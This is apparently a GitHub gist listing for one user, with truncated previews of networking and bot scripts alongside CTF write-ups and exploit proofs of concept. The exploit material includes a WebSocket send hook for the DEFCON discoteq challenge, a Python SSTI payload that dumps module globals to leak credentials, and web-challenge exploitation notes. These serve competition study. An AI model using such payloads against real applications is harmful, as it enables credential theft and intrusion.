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stypr / connectivity_check.py
Last active Aug 3, 2022
Bird2 connectivity checker (upstream, downstream, exchanges)
View connectivity_check.py
#!/usr/bin/python3 -u
#-*- coding: utf-8 -*-
"""
connectivity_check.py
Simple tool for checking Bird2 connectivity (for personal use)
Developed by AS400671 (https://network.stypr.com/)
You can use description to set speed, countries and names of providers.
@stypr
stypr / liveart.md
Created Jun 12, 2022
picoCTF 2022 liveart / noted exploit
View liveart.md

TL;DR

Exploiting a react app by customElement and is=is pollution

Solution

  1. There is a bug with the hydration, so we can pollute prop of the <img> tag.
  2. Error message is triggered when the window.width < 600. Interestingly, location.hash fills the props upon displaying the error message.
  3. When the error message is shown and you try to resize your window.width > 600, <img> is shown again.
  4. Since there is a dehydration bug, prop gets filled with the existing location.hash, making it possible to add additional attributes on the `` tag.
@stypr
stypr / exploit.js
Last active May 30, 2022
DEFCON 30 discoteq exploit PoC
View exploit.js
// run before send
const originalSend = WebSocket.prototype.send;
window.sockets = [];
WebSocket.prototype.send = function(...args) {
if (window.sockets.indexOf(this) === -1)
window.sockets.push(this);
return originalSend.call(this, ...args);
};
// run after send
@stypr
stypr / bot.py
Last active Dec 16, 2021
Bugcamp.io Telegram Bot
View bot.py
from telegram.ext import Updater
from telegram.ext import CommandHandler
import telegram
import requests
token = "{TELEGRAM TOKEN}"
mention_user = ["stypr", "stypr_jp"]
bugcamp_data = {}
def bugcamp():
@stypr
stypr / README.md
Last active Nov 24, 2021
BingoCTF 2020: Web - Guestbook [Hard]
View README.md

web: guestbook writeup

Checking configs/worker

docker-compose.yml

Docker-compose is build in a way that

  1. private has flag in /flag
  2. redis / worker are used. this is only used for admin to check the challenge.
@stypr
stypr / README.md
Last active Apr 19, 2021
BingoCTF 2020: Web - simpleboard [Medium]
View README.md

web: simpleboard writeup

Let's check the main page's source code by view-source (view-source:http://web1.bingo.hypwnlab.com:12044/)

As wee see in the following, server loads an image from a website.

        <h3 class="text-center text-white pt-5"><img src="/?image=6c6f676f.png"></h3>

Let's take a look at the function in init.php that loads the image.

@stypr
stypr / README.md
Last active Apr 19, 2021
BingoCTF 2020: Web - Temporary [Easy]
View README.md

web: temporary writeup

There are two instances namely public and internal. We can get the address of public by leaking $_SERVER['REMOTE_ADDR"] in phpinfo.php?phpinfo

$_SERVER['SERVER_NAME']	_
$_SERVER['SERVER_PORT']	80
$_SERVER['SERVER_ADDR']	172.21.0.2
@stypr
stypr / dogooos.md
Last active Jun 15, 2020
DEFCON Quals Web exploit (Participated as r3kapig)
View dogooos.md

SSTI

  1. Write one comment
  2. When writing a comment content, do SSTI to leak author's credentials
{rating[comments][0].__class__.__init__.__globals__}
{'__name__': 'app.loaddata', '__doc__': None, '__package__': 'app', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, '__spec__': ModuleSpec(name='app.loaddata', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7fa912f51670>, origin='./app/loaddata.py'), '__file__': './app/loaddata.py', '__cached__': './app/__pycache__/loaddata.cpython-38.pyc', '__builtins__': {'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", '__package__': '', '__loader__': , '__spec__': ModuleSpec(name='builtins', loader=), '__build_class__': , '__import__': , 'abs': , 'all': , 'any': , 'ascii': , 'bin': , 'breakpoint': , 'callable': , 'chr': , 'compile': , 'delattr': , 'dir': , 'divmod': , 'eval': , 'exec': , 'format': 
@stypr
stypr / unzip_different_encoding.py
Created Mar 17, 2020
Unzip with different encoding
View unzip_different_encoding.py
#!/usr/bin/python
#Nothing on stackoverflow works!
import zipfile
import sys
zip = zipfile.ZipFile('FILENAME', 'r')
zipinfo = zip.infolist()
for _file in zipinfo:
_file.filename = bytes(_file.filename).decode('cp949')